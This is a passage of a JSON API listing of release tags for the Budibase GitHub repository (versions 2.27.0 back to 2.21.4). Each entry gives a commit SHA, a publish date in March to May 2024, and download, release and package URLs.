ull,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.27.0/manifests"},{"name":"2.26.4","sha":"46072e8b2716dd0fed7ad6872d24f4686ccbe425","kind":"commit","published_at":"2024-05-15T15:54:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.26.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.26.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.26.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.4/manifests"},{"name":"2.26.3","sha":"f752d2ce1353cd07aa2ed1c9cb0408b2ef6d9a44","kind":"commit","published_at":"2024-05-15T10:40:27.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.26.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.26.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.26.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.3/manifests"},{"name":"2.26.2","sha":"7eb03623ef45c6ee8b410aaa9866163c3907dfcc","kind":"commit","published_at":"2024-05-14T11:13:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.26.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.26.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.26.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.2/manifests"},{"name":"2.26.1","sha":"0e8e6b87650dc298283fc36da08011f2ff2246d0","kind":"commit","published_at":"2024-05-13T14:12:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.26.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.26.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.1/manifests"},{"name":"2.26.0","sha":"80ba777f17e746d811aa1c82073b4a9c2233d272","kind":"commit","published_at":"2024-05-13T12:46:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.26.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.26.0/manifests"},{"name":"2.25.0","sha":"58538cc2019e2e5e98f0a0f0ac5a4520fd9a3763","kind":"commit","published_at":"2024-05-10T11:13:00.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.25.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.25.0/manifests"},{"name":"2.24.2","sha":"b4d26ccf22ba5e8ba97595b7ff80e4a8436a39ea","kind":"commit","published_at":"2024-05-08T15:05:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.24.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.24.2/manifests"},{"name":"2.24.1","sha":"7b57595a1e8eb1c91510f0ae721b39e6ae636f63","kind":"commit","published_at":"2024-05-02T14:32:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.24.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.24.1/manifests"},{"name":"2.24.0","sha":"9babae5b442f559d0a76db295274dd7bdf442771","kind":"commit","published_at":"2024-04-29T08:00:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.24.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.24.0/manifests"},{"name":"2.23.12","sha":"2fc96549aa893bceef425af11237cc0914021f63","kind":"commit","published_at":"2024-04-24T12:05:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.12/manifests"},{"name":"2.23.11","sha":"b2f81276cdf17ab43118595e0ae9c79c626a7b46","kind":"commit","published_at":"2024-04-22T14:14:24.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.11/manifests"},{"name":"2.23.10","sha":"c67ccf66135ead26ba0248ea2e9b4be6634efd7a","kind":"commit","published_at":"2024-04-19T12:17:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.10/manifests"},{"name":"2.23.9","sha":"008c8e8c9d01d9a73649aeb2c528018e0a5d73b6","kind":"commit","published_at":"2024-04-18T16:11:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.9/manifests"},{"name":"2.23.8","sha":"21f554a6b89049b402cf05e3cf12de847dde2065","kind":"commit","published_at":"2024-04-18T12:53:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.8/manifests"},{"name":"2.23.7","sha":"b5c7dc4e70bfce51f2f1daf3fc3bf478b7fcd126","kind":"commit","published_at":"2024-04-18T08:26:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.7/manifests"},{"name":"2.23.6","sha":"b529e98b057eb7704fd0f01ca83690ca1be18f9f","kind":"commit","published_at":"2024-04-16T17:20:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.6/manifests"},{"name":"2.23.5","sha":"5a1de4b45cbed80f743ce1ab2c15c151ff47bfe7","kind":"commit","published_at":"2024-04-12T13:24:45.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.5/manifests"},{"name":"2.23.4","sha":"13bb099d40f2506951fdf03163fcfd62680f07c8","kind":"commit","published_at":"2024-04-11T14:28:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.4/manifests"},{"name":"2.23.3","sha":"8c32127a6f247fd1258720c59d3eb03efda4eb7e","kind":"commit","published_at":"2024-04-11T11:15:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.3/manifests"},{"name":"2.23.2","sha":"ad913929af5dff13cc3002f33f928b3fe6f2ab7d","kind":"commit","published_at":"2024-04-11T08:58:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.2/manifests"},{"name":"2.23.1","sha":"a24f5964aec756d7ff08838e280e511c22109461","kind":"commit","published_at":"2024-04-11T07:55:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.1/manifests"},{"name":"2.23.0","sha":"d4ce115c5875faea1db59045f1c6e3c4ada1234c","kind":"commit","published_at":"2024-04-10T12:19:33.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.23.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.23.0/manifests"},{"name":"2.22.19","sha":"9be61c431c04e83426ece8e309741fbdc175b37d","kind":"commit","published_at":"2024-04-09T14:30:48.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.19","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.19/manifests"},{"name":"2.22.18","sha":"90e73a77dcfcec3070560451b011bca0dca1d877","kind":"commit","published_at":"2024-04-08T09:00:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.18","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.18/manifests"},{"name":"2.22.17","sha":"0b36dc8567bf74d60c0a61cb6563b4866329444d","kind":"commit","published_at":"2024-04-05T15:32:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.17","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.17/manifests"},{"name":"2.22.16","sha":"996984ec37cbc62b6c2f8825f1e4e039d81f0fcd","kind":"commit","published_at":"2024-04-04T07:55:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.16","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.16/manifests"},{"name":"2.22.15","sha":"8c8e386d2d3228ae765fd5af20d07b7b168b6d87","kind":"commit","published_at":"2024-04-03T09:01:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.15/manifests"},{"name":"2.22.14","sha":"3e3e761f881f60e0c12ff027745d0a172fee6fc5","kind":"commit","published_at":"2024-04-02T13:55:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.14/manifests"},{"name":"2.22.13","sha":"0fe6804290564756b95a5539a6ba20ac439a285a","kind":"commit","published_at":"2024-03-28T16:49:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.13/manifests"},{"name":"2.22.12","sha":"a07292a8e82b1a9483965bd20d8e27a827db783b","kind":"commit","published_at":"2024-03-22T16:32:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.12/manifests"},{"name":"2.22.11","sha":"27308340acd38c4949d22f508b0148806a67816e","kind":"commit","published_at":"2024-03-21T18:18:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.11/manifests"},{"name":"2.22.10","sha":"e7c2f629b61f8911786d9d016efe7219b11dbb37","kind":"commit","published_at":"2024-03-21T16:38:31.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.10/manifests"},{"name":"2.22.9","sha":"ed94459fd8101d267729cf414c6b6eb829573cb3","kind":"commit","published_at":"2024-03-21T13:31:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.9/manifests"},{"name":"2.22.8","sha":"08cf877565ee8f46a62b538af7a9340e93460049","kind":"commit","published_at":"2024-03-21T11:02:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.8/manifests"},{"name":"2.22.7","sha":"3749f198f9e015429dcffdfbed8dbedfef55fd42","kind":"commit","published_at":"2024-03-20T15:23:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.7/manifests"},{"name":"2.22.6","sha":"3788d67e8dfbc039ba46740f81c035204af38d77","kind":"commit","published_at":"2024-03-20T13:31:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.6/manifests"},{"name":"2.22.5","sha":"bfacb879a6b3e8e0511cdd85ffda32993a197f7c","kind":"commit","published_at":"2024-03-19T18:51:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.5/manifests"},{"name":"2.22.4","sha":"4389adbe79c9a622aec66de4a773f606427d2684","kind":"commit","published_at":"2024-03-19T17:40:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.4/manifests"},{"name":"2.22.3","sha":"a0b7e69af07c01c885e012a9a27cf729ad724f22","kind":"commit","published_at":"2024-03-19T15:20:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.3/manifests"},{"name":"2.22.2","sha":"400853fdb86de639aacb0d2d9e0d03048d8b05b8","kind":"commit","published_at":"2024-03-19T11:47:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.2/manifests"},{"name":"2.22.1","sha":"a26020bcbb4f863c73bc405c948c93d8a0560300","kind":"commit","published_at":"2024-03-15T17:16:06.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.1/manifests"},{"name":"2.22.0","sha":"8d97f19241d3622882f7642d01206e877618070a","kind":"commit","published_at":"2024-03-15T13:49:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.22.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.22.0/manifests"},{"name":"2.21.9","sha":"aa978b4caee7f6a73bc7c486977f0d518467fcfd","kind":"commit","published_at":"2024-03-13T09:51:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.9/manifests"},{"name":"2.21.8","sha":"ae83f637b36acaac4a8b0c036cb2a20fd7e71a42","kind":"commit","published_at":"2024-03-12T09:35:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.8/manifests"},{"name":"2.21.7","sha":"c34fa61479f281e4d21d7438d482135bf23caf4a","kind":"commit","published_at":"2024-03-11T16:16:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.7/manifests"},{"name":"2.21.6","sha":"41b57995641dbae157b1c20c15023c7f680e262b","kind":"commit","published_at":"2024-03-11T11:07:05.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.6/manifests"},{"name":"2.21.5","sha":"7e3d6019be19c5d51fc113e368d07f4816c957a0","kind":"commit","published_at":"2024-03-08T15:35:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.5/manifests"},{"name":"2.21.4","sha":"e812b3a8